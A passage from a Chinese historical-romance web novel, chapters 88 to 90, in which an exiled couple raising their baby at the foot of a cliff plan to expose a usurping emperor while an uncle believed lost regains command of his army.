只不过宣文晟那时还没生出夺位的心思,只将书信藏好。他那时南下经商,已经做好了一辈子当宣家三公子的打算。 甚至他也知道他那张脸会在京城里引起什么样的反应,故意让自己成了“见不得光”的、只存留在百姓们口中的人。 “三哥须得名正言顺地坐上那个位置。” 宣文晟是遗腹子,就连已故的先太子都不曾见到太子妃腹中孩子的出生;当时的皇帝,还有世人更是以为太子妃腹中孩子和她一起死在太子府中。 而当年,先太子不知太子妃是否要生下这个孩子,留下的书信里也不曾交代孩子的去处。 仅凭宣家的证词,远不足以让世人信服。 但宣文晟那张脸,想必有人认得出。“我们要让皇室主动认他。”苏琯璋说道。 他毫无保留地将计划一一拆开,分析给宣槿妤听。 “外祖父留下的证据是交给了另外的暗卫。”苏琯璋说道,抚上她的肩头,“我待会儿去信一封,让三哥将暗卫手中的证据交给白隼带过来。” 林太傅临逝世前只说见机行事,交代暗卫务必将书信和证据交到苏琯璋手中。 故暗卫只知京中流言说表小姐和姑爷坠崖死亡一事当不得真,却并不知道他们所在何处。 他两月前就来到了淮招县,但见苏家派出的人日日在附近山间寻人,便知小夫妻俩还未救回崖上,故而一直徘徊停驻至今。 直到昨日,确认宅子里的人和崖底的他们有特殊的交流渠道之后,才不得已找上了宣文晟。 “暗卫发现了白隼的存在了么?”宣槿妤担心地问。 白隼日日往来山外崖底,能让暗卫察觉,是否也会让旁人察觉? 苏琯璋知道她在想些什么,“不必担心,白隼十分警觉,少有人能够察觉到它。” 且淮招县的消息通讯渠道早已被苏家人掌控,一旦有人发现白隼的存在,意图伤害它,或者将消息泄露出去,便会被暗卫们提前一步阻止。 “林家暗卫是自己人,所以他才能安然无恙地在淮招县待了两个月。” 苏琯璋说道,“我想,若他再不上门,想必父亲、三哥他们也会忍不住去找他的。” 既然得知林太傅生前最后一封书信是在暗卫手中,宣文晟和苏家人哪里能够继续忍着? 前半个月是因为他们不知情,后面一个半月,已经是他们忍耐的最长期限。 他们知道暗卫是定要见到本人才会交出书信,但如今情况特殊,想必他们也是颇费了一番功夫才让暗卫愿意将书信交给白隼。 “还有一名暗卫在外,他藏得很深。” 苏琯璋说着自己的推测,“外祖父给你我的书信万一落到了旁人手中,那名暗卫便不会再露面,直接离开淮招县。” “想必他会等到我们的亲笔回信,才会将外祖父保留了多年的证据交出来。” 暗卫连宣文晟都防备至此,想必并不知道他的身份,且严格执行林太傅生前的命令。 宣槿妤点点头,听到岚姐儿“哦哦哦”地叫起来,知道她饿了,便让苏琯璋将她抱起来。 她给孩子喂着奶,怜惜地摸了摸她的小脑袋。 岚姐儿百日之后他们就给她剃了胎发,如今一个月过去,长出来的头发不再扎手,摸着毛绒绒的,十分舒服。 “外祖父为何会将证据交给你?”宣槿妤理好衣襟,忽然想到这个问题,“你早就猜出三哥哥的身份,是外祖父给了你提示?” 苏琯璋给岚姐儿拍嗝的动作依旧不变,“关系顺序不对。”他说。 第88章 第88章若有必要,逼三哥一把…… 将摆手踢脚的岚姐儿放回床上躺着,苏琯璋坐回床边,和宣槿妤对视,“槿妤,我是先猜出三哥的身份不对,外祖父看出来了,才给了我提示。” 宣槿妤惊讶极了。 她先前竟不曾想到问他这个问题,又想起当时他跟自己说三哥哥决定夺位时,二人的谈话,她心情便复杂起来。 “你可真能藏事。”她说,语气说不上讽刺,但十分平淡。 三年,他将事情藏在心里三年,连她这个枕边人一点都没察觉到一点不对劲来。 是自己太过迟钝么? 不,是这个男人太过寡言,情绪又淡,旁人休想从他眼里、面上窥出半点端倪来。 苏琯璋小心翼翼地看着她,他理亏。 三哥身世之事,事关重大,他不敢透露情有可原。 但同样是三年,他藏着情意却对她缄默以待,看着她在这段感情里患得患失。 心意相通之后,他每次想起这件事,便深觉自己罪无可恕。 “槿妤,是我的错。”苏琯璋态度十分认真,“我不会再瞒着你了。” 宣槿妤俯身去逗岚姐儿,没搭理他。 岚姐儿被娘亲逗弄得“哈哈哈”“啊啊啊”地大笑,和乱叫,小身子翻了几次,胡乱地扑腾着,将整齐的被褥弄得乱糟糟的。 苏琯璋摸了摸鼻子,“你不是问我外祖父为何会将证据交给我么?”他试图引起妻子的注意。 宣槿妤继续逗孩子,心神却分出了大半。 她的表情变化躲不过苏琯璋的眼睛,他松了口气,还理他就好。 “不只是因为我知道真相。” 他抓住岚姐儿踹在他腿上的胖脚丫子,在她脚底轻轻地挠了挠,痒得她在床上吱哇乱叫,连着翻了几次身,都没能躲开他的手。 苏琯璋松开岚姐儿的小脚,目光落在宣槿妤脸上,“还因为,我是外祖父留给宣家和林家的最后一道屏障。” 此话一出,宣槿妤眼睫就是一颤,终于正眼看向他。 她终于明白,为什么外祖父会主动登上苏国公府的门,原来不只是为了 她的姻缘而已。 还为了他们宣家和林家今后的命运。 她不必去问外祖父为何会觉得他可以当那道屏障,她在相信他能力这件事上,从未有过质疑。 想清楚这些,她的心绪很乱,不知道该说什么。 想问他,他们的婚姻是否是一场交易。可他当初已经坦白,便是外祖父没有主动登门,他也会求得父母亲上门提亲。 想问他,他娶了她,却要担负两个家族的命运,会不会后悔。可他分明没有丝毫怨言。 若在宣文晟身世曝光之前,苏琯璋和她说这些,她定是以为他在和自己开玩笑。 毕竟,是苏家先比宣家、林家先遭遇了危机,且还险些灭族。 但宣文晟的身世曝光了,她才明白,这些年里娘家和外家,原都是行走在悬崖边上。只要一着不慎,便会粉身碎骨。 岚姐儿见娘亲没有再逗她,朝她伸出小手,“啊啊啊”地叫起来,想让娘亲抱她。 宣槿妤回过神,将女儿从床上抱起,亲了亲她柔软滑嫩的小脸儿。 岚姐儿满足地躺在娘亲怀里,小脑袋在她手臂上转了转,朝苏琯璋吐了两个泡泡。 苏琯璋握住她的小手。 “你忽然弃武从文,是外祖父要求的?”宣槿妤终于能够问出这个问题来。 在两家下定之后,苏琯璋迎娶她之前,他便辞了身上的军职。放着好好的将军不当,转头去领了大理寺少卿的职位。 以前她以为是外祖父为了她的幸福,不愿她有个随时可能丧命疆场的夫君,才逼迫他留在京中的。 如今看来,恐怕真相不止如此。 她丝毫不怀疑外祖父对她的疼爱之心,也没有为自己的姻缘中掺杂了官场的思量而不满。她只是疑惑,单纯地感到不解。 苏琯璋将她和女儿一起揽入怀中,“是,我从文,是外祖父劝说的。” 世人皆知,苏家幼子苏琯璋武学造诣不输他那天资过人的世子大哥苏琯煜;但少有人知道,苏琯璋在文学、智谋方面更是出色。 苏琯璋从文是林太傅极力劝说的,除了当时在场的苏声,世人谁也不知道,包括宣槿妤的双亲、和苏琯璋的母亲许玉娘。 林太傅认为,苏家不缺武将,但是大盛缺少内阁之才。 苏声和苏琯璋其实也留意到了京中新帝不明的态度,于是便下了决定。 苏琯璋留在京中,入大理寺。 这样,他和苏声二人,一文一武皆留在盛京城朝堂上,给苏家人多布了一道暗线。 只待新帝有任何动作,他们都能及时做出反应,且有支持的朝臣。 事实证明,他们的决定没有错。 苏二叔失踪一事传出后,不仅是武官和宣家林家一系的文臣站在他们这边,一向中立的大理寺,也极力赞成三司会审。 虽然最终的结果不尽如人意,还是外祖父用了金腰带换回他们的性命。 “槿妤,外祖父说,若我不同意从文,他想将你嫁给我的心思也不会变。” 担心宣槿妤难过,苏琯璋说道:“外祖父真心觉得我会对你好,也能护住你,让你安稳一辈子,才会登上苏国公府的门。” 他解释道:“至于劝说我从文,是因为坐下和我聊了半个时辰,考校了我一个时辰之后才下的决定。” 宣槿妤握住岚姐儿的小手,将头埋在他肩上。 “至于让我做宣家和林家的屏障,更是在我们成婚以后,我发现三哥的身世之时。” 林太傅先是疼爱外孙女,得了意外之喜,才想着兼顾两家日后的命运。 “外祖父说,几位舅舅和表兄才能不显,他一去,林家怕是要没落。” 苏琯璋察觉到肩上的湿润,顿了顿,将她拥紧,“而宣家,岳父也只会止步户部尚书。大哥……他有个拖累他的姻亲。” 宣文威岳家定安侯府,盛京城里谁人不知其内荒唐和污糟?那就是个拼命将人往下拽的泥潭。 京中谁家敢娶他家姑娘?而谁家又敢将自家姑娘嫁入他家? 但是先帝赐婚了,在宣文威刚进入朝堂,崭露头角之后。 只怕这道赐婚,也是存着削弱宣家势力的打算。 而后先帝又赐婚宣槿妤和当时势弱丝毫不起眼的皇子盛誉,其心更是丝毫不掩饰。 若非外祖父疼爱外孙女,抗旨拒婚,依着当时的形势,宣槿妤怕也是得不到什么好。 “外祖父也看出大嫂对你的排斥,”苏琯璋语气带了些寒意,“他说,除非宣家不留给大哥,否则他们百年之后,宣家便再无你的容身之地。” 宣槿妤才止住的眼泪又再次流了出来,她想起了当时大哥哥和娘亲在她屋子外间的那场谈话。 母亲也存了将宣家留给三哥哥的心思,只是因为,怕大嫂嫂容不下她。 纵然宣文威心里再疼爱他的妹妹,成为一家之主后也定然不会亏待宣槿妤。 但在内宅方面,要让一个人不痛快的法子有很多种。 譬如言谈之中掺杂些微嘲弄讥讽、明褒暗贬等等话语,让听着的人心里不开心,但又挑不出什么错处来,有苦说不出。 甚至让听着的人十分开心,待旁人细细分析拆解,却发现原来说话那人是在嘲笑自己,当面骂人还让自己开开心心地受了,实在憋屈。 这样的法子,不过是最简单也最容易被人察觉出来的手段。内宅里争斗的阴招,还多着呢! 宣文威便是再护着宣槿妤,他心神放在朝堂之上,还能够有余暇关注内宅之事么?隔着男女大防,他能察觉出来那些仅针对一个人的阴招么? “外祖父说,总不能宣家的姑娘,最后连家也归不得。”苏琯璋语气放轻了些。 “你们都知道?”宣槿妤轻声问。 她那时过于迟钝又愚笨,大嫂嫂嫁进宣家时她高兴了许久,没有察觉出她话中对自己的冷言讽刺。 直到二堂嫂嫁进来,她才觉察出两位嫂嫂的不同来。 她依旧听不出大嫂嫂对自己的排挤,却感受到了她对自己的不喜,便渐渐减少去她院子的次数。 连带着对大哥哥,她也疏远了许多。 婚后,她爱去林府多过回宣家,她以为,没人知道的。 苏琯璋怜惜地在她发上亲了亲,“槿妤,也就你不在意,想着粉饰太平。” 就连他这个不怎么接触宣家内宅女眷的人,在初初陪她回门之时都察觉出了她和大嫂之间似有若无的鸿沟,旁人怎会察觉不出呢? 他后来从外祖父口中证实了他的想法,原来他这在家中受尽宠爱的妻子,也曾被尊敬的大嫂那样排斥针对过。 只不过,岳母出手快,赵氏自那之后就安分了下来,可以正常对待她了,其余人才掀过往事不提。 不过,已经有了裂痕的关系,怎么也恢复不到原先完整的状态,才会被他觉察。 宣槿妤虽然不 计较大嫂嫂对自己的挤兑,但这种不被家人喜欢的感觉到底不好受,她轻声道:“继续说外祖父罢!” 苏琯璋摸了摸她的头,从她怀中接过一直盯着爹娘不放的岚姐儿,亲了亲她的小脸,换回女儿的甜笑。 “狼袭之前,林家暗卫找过我。”他和宣槿妤眼睛对上,“不只是刚开始流放时我和你提的那一回。” 又瞒着她。 宣槿妤掐了他腰侧一记,到底没计较什么。 “外祖父信上和我说,新帝要容不下林家了。” 宣槿妤眼眶一热,险些又有泪珠滚落。 “他提前做好了准备,让林家暗卫带话给我,若有必要,逼三哥一把。”这才有了狼袭之后,他直接找到宣文晟摊牌这一幕。 苏琯璋一手拥着妻子,一手抱着女儿,“先帝之死外祖父和我提过,说是不同寻常。” “外祖父症状和先帝如此相似,他在信中和我说,他察觉出来了。” 当日刑部尚书梁方方家中大摆筵席,庆祝长孙百日,朝中大半同僚都去了。 林太傅念着当时苏家人和宣槿妤在刑部死牢得他的照应,便也去了。 只他大病初愈,忌口颇多,在宴席上也不过喝了一杯茶,当日就有了风寒症状。 但因着秋日里那场缠绵难愈的风寒,他分明很是注意这一点;他穿得厚,又不曾暴露于冷风之中,哪里会得风寒? 他联想到了先帝之死,他自己的症状和先帝去世前一模一样。 那杯茶,竟是杯毒茶。 于是他找暗卫夜探梁府,保存了证据,将废帝的把柄交给暗卫首领,让他带着证据来找苏琯璋。 如今藏着还不露面的,便是身上带了证据的暗卫首领。 满室的寂静,唯有山泉水依旧潺潺。 苏琯璋将哭累了睡着的宣槿妤放在床上,替她盖好被子,又将同样睡着了的岚姐儿放在她身边,盖好她的小被子。 他凝视着闭着双眼,显得近乎一模一样的母女俩好一会儿,各自在她们额头上留下一吻,便坐于竹桌前,提笔写起信来。 第89章 第89章宣槿妤在十六岁这一日嫁…… 白隼穿过温暖的春风,经过山洞门口发了新芽的桃树,掠进山洞中。 门口这棵桃树在去岁得了岚姐儿的胞衣,又经春风吹化,焕发了新机。 不过才二月,它便已经抽了新枝,发了新芽,比山外还早上些许时日。可能跟这里春日也早于山外有关。 这一日,是二月二,龙抬头,亦是宣槿妤二十岁的生辰。 因着宣槿妤依旧在戴孝,未免宣文晟和苏家人为难,她早早便写信告知山外家人,道是这一日不必特意为她庆生。 连生辰礼,她也提前婉拒了。 故而这一日,白隼飞回崖底时,只带回了他们日常所需的食材,和一碟由苏家人亲手做的栗子糕。 苏琯璋早起时便煮了长寿面,加了新鲜采摘的菌子和荠菜。 大地回春,崖底的野菜最是鲜嫩不过,便是普普通通的一碗素面,滋味也十分不错。 虽然已经吃饱了,但宣槿妤看着那碟还带着余温的栗子糕,还是一口一口慢慢吃完了。 时辰还很早,栗子糕余温犹在,说明做糕点的婆母、二婶和嫂嫂们很早便起床了,她不想辜负她们的这份心意。 吃得太饱,一家三口外出消食时,特意走得更远了些。 雪是十来日前停的,春风吹化残雪也不过是前几日的事。 但崖底已经是处处皆焕发出了新机。 太阳升起来时,远处的山峦云雾散开了一瞬,露出一片浓绿。 野草钻出了地底,树木抽出了新芽,一冬未见的鸟儿也叽叽喳喳地立在枝头,朝着他们一家歌唱。 “我们出得去吗?”宣槿妤问苏琯璋。 自雪停之后,这些时日他们已经走遍了整个崖底,别说出去的路,便是一条山缝也没能找得出来。 这崖底竟封闭至此,怪不得搭建小木屋的那位前辈被困了四十余年,最后被逼得只能试图飞到崖上。 苏琯璋看得出她的焦躁不安,停下了脚步。 她今日自起床之后情绪便有些低落,想必除了思念远在盛京城的亲人之外,还想起了已经逝世的外祖父。 “会有办法的。” 他将她怀中已经睡着了的岚姐儿接过来,抱住了她,“槿妤,时机还未到。扳倒一国之君不是那么轻易的,给我们一点时间,好吗?” 道理宣槿妤懂得,但她只要一想起外祖父,就无法不痛恨。 “被围困在这里也不尽是坏处。”苏琯璋亲了亲她的发顶,“我们在暗处,能够掌握更多先机。” 而且,他们在世人眼中,尤其新帝盛誉眼中是已逝之人,不会提防他们。 “岚姐儿还小,一旦撕破脸,会吓到她。”见宣槿妤不说话,苏琯璋说起了女儿。 宣槿妤咬着唇,慢慢地点了下头。 去岁的两场狼袭,和最后的刺杀她都历历在目,偶尔做了噩梦,也会梦到那些场景。 她都会被吓到,遑论还未满五个月的女儿。 苏琯璋说得对,她要冷静,还要再耐心些。 返程时岚姐儿醒了,哼哼唧唧地不肯回山洞,抓着苏琯璋的衣襟,“哇哇哇”地大叫。 “这是怎么了?”宣槿妤摸了摸她的额头,没有发烧,也没有出汗。 苏琯璋松开手,“无事,她没有生病。” 相反,岚姐儿的脉象显示,她可健康健壮得很。可不是,一身的神力,他的衣襟都要被她抓烂了。 岚姐儿见爹爹娘亲待在树下不动,说着些她听不懂的话,登时便急了。 她转着头,小手伸了出来,朝着另一个方向张了张,咿咿呀呀的,小脚丫瞪着十分有劲儿。 苏琯璋被她踹得深吸一口气,宣槿妤挽起他衣袖一看,手臂都红了一片。 “你这皮孩子。”宣槿妤心疼苏琯璋,但又无法对年幼的女儿说些斥责的话,只无奈地叹了口气。 “无事。”苏琯璋温声道,“估计是她想去那里罢!” 他用了巧劲儿,将怀里过分扑腾的岚姐儿搂得紧紧的,不让她掉下来,“你累了么?” 他们今日走得有些远,超出了平日她走动的极限,苏琯璋担心她受不住。 宣槿妤摇摇头,“没事,我们一起过去。”她说着就要走过去。 苏琯璋却没动,拉住了她。 “我背你。”他蹲了下来。 岚姐儿视线乍然变矮了,惊奇地哇哇大叫起来,吵得很。 宣槿妤不想趴上去,“你还抱着岚姐儿呢!” 虽然他好几个月没有背过她了,她看着他宽阔熟悉的背有些意动,但到底舍不得他如此劳累。 苏琯璋转过头,对她笑,“快上来,岚姐儿要生气了。” 宣槿妤已经听到“呲啦”一声了,绕过他前边一看,顿时失笑,女儿都将他的衣襟扯烂了。 “你怎么将爹爹的衣裳抓成这个样子了?嗯?”宣槿妤摸了摸岚姐儿的头,收获奶声奶气的哇哇声。 …… 宣槿妤到底还是趴了上去。 苏琯璋背着妻子,抱着女儿,一手扶着一个,也未见吃力。 倒是岚姐儿,第一次在这样的角度见到娘亲近在咫尺的脸,连扑腾大叫都忘了;只好奇地咬着小手,眼睛眨也不眨地盯着娘亲看。 宣槿妤对她笑了笑。 担心苏琯璋受累,她没有松开环着他脖子的手,只将下巴搭在他肩上,和女儿聊起天来。 “下次不可以将爹爹的衣裳抓烂,知道么?” 岚姐儿“啊啊”两声,沾了她自己一手的口水。 “娘亲当你答应了。下次再犯,就要,就要……”宣槿妤想不出来要怎么“罚”她才好,自己都被自己逗乐。 她在这儿跟才四个多月大的婴儿讲什么道理呢? “岚姐儿会乖乖的对不对?” 岚姐儿咯咯笑起来,伶俐可爱的模样惹得宣槿妤唇边弯起的弧度一直未下去。 苏 琯璋听着妻女在耳边“交谈”,只觉犹如天籁,唇边弧度扬起之后,和宣槿妤一样,再没见落下。 “岚姐儿是不是想来看羊?”苏琯璋在羊圈前边停下了脚步。 冬日大雪时他将羊迁进了离他们山洞不远处的一处溶洞里,近日草都长了出来,他便在溶洞外用竹子竹叶简易搭了个羊圈。 羊圈搭建那日,宣槿妤抱着岚姐儿看了全程;而后,夫妻俩又带她来了一两次。 想来她记住了这里的羊群。苏琯璋心想着,低头看女儿。 岚姐儿兴奋地在他怀里手舞足蹈起来,指着羊群“呀呀呀”个不停。 果真是想来看羊的。 苏琯璋失笑,先将要求下地的宣槿妤放了下来,夫妻俩走近羊圈。 岚姐儿盯着雪白的羊羔,看得出了神。 她难得这样安静,宣槿妤松了口气,耳朵总算能歇歇了。 “要给岚姐儿试试羊奶么?”趁岚姐儿注意力都在羊羔身上,苏琯璋转头问宣槿妤。 他还记得她不喜吃少油少盐过于清淡的饭菜。 如今她一口荤腥都不沾,虽然身子没什么变化,但他实在不忍心还让她日日喂奶,连吃都吃不好。 宣槿妤犹豫了一下,还是摇了摇头。 “我继续喂她。”她说。 自她开始为外祖父守孝之后,担心她的身子,苏琯璋开始用他放了满满两个山洞的草药,研究起了药膳。 是以,宣槿妤没觉得自己有哪里不适的,且许是因着那些药膳的缘故,她奶水也一直很充足。 去岁担心自己奶水不足,岚姐儿吃不饱的情况倒是一直没有发生。 苏琯璋摸了摸她的头,“好。” 那这些羊,他便继续养着罢! 白隼馋,它的生肉断不得,暂且先供它吃。等宣槿妤除了孝,他们也可以吃羊肉、喝羊奶了。 林太傅是十一月初逝世的,按理说外孙辈守孝五个月是从忌日那日开始算。 但宣槿妤得知他的死讯,是在他的七七过后两日,整整晚了五十一日,她想将这些缺失的时日补回来。 是以,她须得为林太傅守孝至五月末。 还有三月余。 岚姐儿耗尽了精力,在回程路上睡着了,等宣槿妤和苏琯璋用过午饭,要躺下歇息时,她才哼哼唧唧地拱着宣槿妤的身子要喝奶。 约莫是太困了,她边喝边睡,含着不放,却喝喝停停,弄得宣槿妤哭笑不得。 苏琯璋心疼地亲了亲宣槿妤的脸,“下次不让她这么玩儿了。” 宣槿妤心里微暖。 自岚姐儿出生以来,他对女儿的疼爱她都看在眼里,但只要事关到她,女儿总要被他排到她后头。 虽然心里觉得有点对不住岚姐儿,但她更多的是高兴。 夜里睡下前,苏琯璋换了一床新床单。 岚姐儿躺在新铺好的床单上,瞪着她的脚丫子。 宣槿妤在跟她玩儿,逗得她咯咯笑个不停。 苏琯璋躺在床外侧,看着母女俩,心里十分满足。 直到岚姐儿一双胖脚丫子不知道什么时候转了向,踹向他胸口。力道不大,但将他的衣襟弄得散乱,露出一角青色。 宣槿妤瞥了一眼,见是一只素色荷包,不在意地挪开了视线——她得守孝,不能被他蛊惑。 那荷包是去岁他最后一次出公差前,她亲手替他系到腰间的——荷包是采薇她们做的,她只应丫鬟们的请求,亲手绣了一竿青竹上去。 他倒是保留到现在,还贴身藏着。 宣槿妤虽没说什么,但眉眼已经弯了起来。 三月初时,崖底恢复到了去岁他们刚住进来时的温暖舒适。 山壁后面的温泉,宣槿妤到底也没有泡过一回。 冬日下雪时她得知了外祖父的死讯,跟着便是守孝,哪里有心思泡。 不过也没什么可惜的,温水湖中的水温一直没变,她洗着也十分合意,还试着带岚姐儿洗了一回。 但那次之后,她再也不敢单独给女儿沐浴。岚姐儿太闹腾了,那次给她洗完,她几乎筋疲力尽。 五月初三,是夫妻俩的好日子。 宣槿妤在十六岁这一日嫁给了苏琯璋,故而这日过后,亦是他们结发的第五年。 去岁这时候一家子还在流放路上,哪里有什么闲心思在意这个日子。 而今虽然因着宣槿妤孝期未过,不宜庆祝,但二人这一日的心情都十分不错。 竹林后头的那片花海开得正热烈。 苏琯璋准备了毯子,和一些吃食,携着妻女坐在花海边上,也勉强算是迟来的“踏春”了。 岚姐儿快六个月大,刚刚会坐,但坐得不大安稳,夫妻俩也不敢让她坐太久。只让她略微坐了小片刻,便将她身子摆平。 于是岚姐儿一会儿躺在毯子上翻身玩儿,一会儿躺在娘亲的臂弯里惬意地吐着泡泡,最后被苏琯璋抱在怀中。 “今日倒是安静了些。”苏琯璋揉了揉她的小脑袋。 宣槿妤嗔他一眼,“可不兴说。” 说了,只怕岚姐儿待会儿又闹腾起来,二人的耳朵就别想清静了。 岚姐儿没在意爹爹娘亲在说什么,她正专心地抠着爹爹的衣襟。 苏琯璋也不怎么在意,随她小手在自己衣襟上抓抓抠抠,直到岚姐儿不小心从他怀中掏出他贴身藏着的荷包,嘻嘻笑着扔在了地上。 她近来喜欢上了扔东西,一个没看好,碗筷、拨浪鼓等她随手能够到的东西都被她扔了个遍。 荷包掉在地上,被泥土弄脏了。 苏琯璋捡起来,小心地将里头缠束的青丝取了出来,放于袖中安置妥当,他则起身去了几步远的河边清洗荷包。 宣槿妤抱住岚姐儿,心里有些惊讶,若她方才没看错的话,苏琯璋拿出来的好像不是他们当年成婚时的结发。 苏琯璋很快走回来,迎着她的目光,看出她的疑惑,“那时不小心拧断你的发丝,我便收了起来。” 他将发结从袖中取出,放进烘干的荷包中,递给她看。 宣槿妤伸手摸了摸发结,心里温软,“那我们新婚夜的结发呢?” 她忽然有些惆怅,“当初家中被围,也不知他们可有损坏家里的东西。” “那香囊被我藏起来了,埋在地里,等我们回去了再挖出来。” 苏琯璋亲了亲她,边重新将岚姐儿抱回来,边道:“当日盛誉急着将我们下狱,不想节外生枝,家中的一切都没有动。等他想起来要抄家,外祖父已经换得了我们的平安,他便没了抄家的理由。” 毕竟,夜长梦多,他最想做的,还是弄死他们,而不是要府中的死物。 那就好。 宣槿妤松了口气。 荆竹园是他们的院子,她可不想什么乱七八糟的男人进去乱翻。 这么想着,她念起了盛京城中她熟悉的人,“我想采薇采菽她们了。” 她更想念疼爱她的外祖父,可是,她没有外祖父了。 苏琯璋安慰地抱了抱她。 静待时机。 宣槿妤忍着心中的仇恨,压着自己的情绪,待在崖底养着孩子,慢慢等待着苏琯璋口中的时机。 终于,时机来了。 第90章 第90章他已经重新掌控了苏家军…… 六月初二这日上午,风和日丽,宣槿妤、苏琯璋才带着岚姐儿从竹林深处消食散步归来。 白隼从高高的天空俯冲而下,落在他们山洞门口已有人高的桃树树枝上。 见到白隼,岚姐儿兴奋地“咿呀”叫唤起来,小身子在苏琯璋怀里扑腾得像是一尾欢脱的鱼儿,偏逃不出她父亲的手掌心。 苏琯璋一边揽紧女儿,不让她从自己怀里挣脱,一边朝树上的白隼伸出了手。 白隼将新的信交到他掌中,而后十分熟练地掠进小山洞中,去吃给它的加餐去了。 “二叔有消息了。”苏琯璋拆完信,冷静了一会儿,才和宣槿妤道。 宣槿妤看出他掩藏在冷静下面 的欣喜,握住他的手。 她也难掩自己的开心,脸上笑容欢悦,“祖母和二婶他们定然很开心。” 还有文武兄弟及他们的妻儿,和苏家其余所有人,也都放下了心里的担忧。 一年零三个月,他们终于等到了苏二叔平安的消息。 苍天保佑。 午后,白隼又带了厚厚的一封书信来,是苏二叔写给苏琯璋的,向他讲述了自己失踪这一年多时间里发生的事。 “璋小子,二叔已经知道家中情况,知你正谋划些事,特意写信告知你军中情况。” 他已经重新掌控了苏家军。 写信给苏琯璋,便是让他再无后顾之忧。 苏琯璋念信的声音一顿,和宣槿妤对视一眼,俱都发现了彼此眼中的惊喜。 二叔重新掌控了苏家军,这倒是意外之喜。 要知道,苏琯璋和宣文晟谋划时,想的是如何绕过新帝安插在苏家军中的监军,和旧日部下取得联系,获得他们的支持。 但漠北如今不仅是苏家军的势力范围,新帝这一年多里为试图掌控苏家军,也做了颇多努力。 漠北已经被他的人渗透进去了,再不复以往军民一心向着苏家的情况。 且如今的漠北得了新帝的授意,进出都管控得极为严格,连只蚊子都别想逃脱他的眼线。 苏家人想要进入漠北,恐会打草惊蛇。先前派出去的几波暗卫都无功而返,所以苏琯璋才和宣槿妤说要静待时机。 却不想苏家二叔平安归来。 他这一回来,便带着苏家军锐意进攻,击退了敌军。又乘胜追击,将敌军杀得十年之内再无进犯之力。 僵持了一年多的漠北前线战事终于被终止,苏二叔不仅用战功洗清了自己通敌叛国的罪名,还凭一己之力,勾起了敌国的内乱。 什么通敌叛国,简直是无稽之谈! 如今漠北谁人不知,正是因着苏二叔的计谋,敌国上下正陷入国君残暴、皇室宗亲和皇子们试图夺嫡上位的混乱之中。 只是不知道他是如何做到的罢了! 如今军报想必已经传回盛京城,新帝盛誉再是暗恨、不情愿,但朝野上下都在看着,接苏家人回京的圣旨怕月后也便能抵达淮招县。 “二叔真厉害。”宣槿妤听苏琯璋念完信,钦佩赞道。 苏家二叔,名苏印,先帝亲封的从一品大将军,赐号“骁勇”,形容的便是他在战场上的矫健风姿。 便是这样一个让敌人闻风丧胆的骁勇大将军,却在一年多前和敌军对战时意外失踪。 继而引发新帝给苏家安上“通敌叛国”的罪名,才有了后来种种之事。 苏印的书信用词十分简练,信纸却有着厚厚的一沓。可以想见,他失踪的一年多里,日子过得有多精彩。 去岁年底,漠北罕见地大雪纷飞,两军战事被迫暂停,军营迎来了短暂的清闲日子。 苏印敏捷地避开新帝派来的监军,到了他部下的帐中。 但他只在帐中停留不到半盏茶时间,很快又悄无声息地离开,没有惊动任何人,包括他那名部下。 苏印的失踪是细作所为。 那名细作,是敌国安插在大盛三十余年的暗探和大盛百姓通婚生下的儿子,被暗探教导着一心向着父亲所在的母国,长大后通过层层选拔,进入了苏家军。 细作姓于,是个和他父亲一样忍耐力极其过人的人。他进入苏家军之后,又潜伏了近五六年,靠着战功从无名小卒升到了千户。 苏二叔失踪的那次大战,于千户便站在他侧后方,趁着他和敌军将领交手之际,暗中引来敌军士兵围攻他,又趁机对他下了毒。 那毒十分歹毒,虽一时要不了人命,却将苏印的一身武功尽数化去。苏印才一时抵挡不住攻击,被于千户伺机推落马下,滚入山崖。 不过,虽然没人发现于千户对主将下的手,但他也讨不了什么好。成功引人围攻主将的人,却反被敌军将领斩落刀下。 而苏印当时被暗算,因着他当时和敌军将领交手时位于一处视线封闭之处,又有重重人影遮挡,他当时跌落山头,就连和他兵器相交的敌军将领都一时找不到他的身影。 后来苏家军找人,一时毫无头绪,也是因着这个原因。 苏印跌落山头之后,被汹涌的暗河冲入一处与世隔绝的谷底,为谷内神医所救。 因为双腿骨折,武功尽失,他养伤花了小半年。 谷内消息闭塞,救下他已经是破例,谷主拒绝为他探听消息。 苏印也是经过多日努力,才从药童那里撬出些许端倪来。原来谷主竟是敌国人,这处谷底亦属于敌国领地。 苏二叔自知已经暴露了身份,谷主不杀他还救了他已经是莫大的恩情,于是也没有过多为难。 他老老实实地待在谷里养伤,只是双腿能走动之后,他又因为毒发动弹不得。 等到余毒清完,双腿也全然好了。 此时距离他失踪,整整过去了七个月。 他出了谷,却听到大盛新帝将苏家流放至广虚府的消息,心下大惊。 苏印悄悄潜到军营,却发现新帝派了监军来,虽然没有接管苏家军,但他却不适合露面了。 而这时,他听闻过路的商队抱怨敌国大夫都被召进宫里了,寻常生病想找个大夫都难。 他推测敌国国君或者什么重要人物生病了,于是他改头换面潜入敌国。 恰好他在谷里的半年多时间里,跟着神医谷主学得了不少本事,还精通易容之术;加上谷主当时为了送他出城,请人给他造的路引,他很容易就混入敌国京城。 他露了一手医术,很快就被人请进宫中。 苏印观那敌国国君整个人都在止不住地颤抖,却又不似癫痫。且他眼球突出、眼睑耷拉得十分厉害,说话都有些含糊不清,像是有些颠倒。 他暗中称奇,怪道这病怎的和谷主和他提及的病十分相似。 苏二叔住在宫中几日,便夜探国君寝殿几次,终于让他搞清楚了是怎么回事。 原来敌国国君这病,还真和谷主所提之病契合。 谷主当时是这么跟他说的:“有那权势大而愚昧无知之人,为求长生,竟以人脑为食。却不知天道自然,天理昭彰,一切皆有因果。” 苏印当时还奇怪,为何这谷主会突然跟他说这么一番话。 如今得知这国君是因为常年吃人脑而得病,都快说不出话来了还要继续杀人食人恼,不禁暗道活该。 怪不得那谷主见他是敌国主将,还救了他,想来是对自家国君已经失望透顶了罢! 于是他将事情泄露出去,导致京中人人自危。 而觊觎国君之位的国君胞弟亲王爷又打着清君侧的名义,攻入皇宫,却被苏家二叔暗中射杀。 而国君已经被王爷杀死,敌国群龙无首。其余皇室宗亲,和将将成年的皇子们在母家的帮助下也争起了皇位,很快就引起了内乱。 这时苏二叔功成身退,顺利出了京城。 等他回到大盛,暗中联系到苏家暗卫,却得知新帝派人暗杀苏家人的事,大怒。 他一边给苏家人去信,一边暗中回到了军营,重新掌控了苏家军。 趁着敌国内乱,敌军军营人心不稳之际,苏印率领苏家大军发起了主动进攻,杀敌军一个措手不及,只得狼狈溃逃。 一鼓作气。 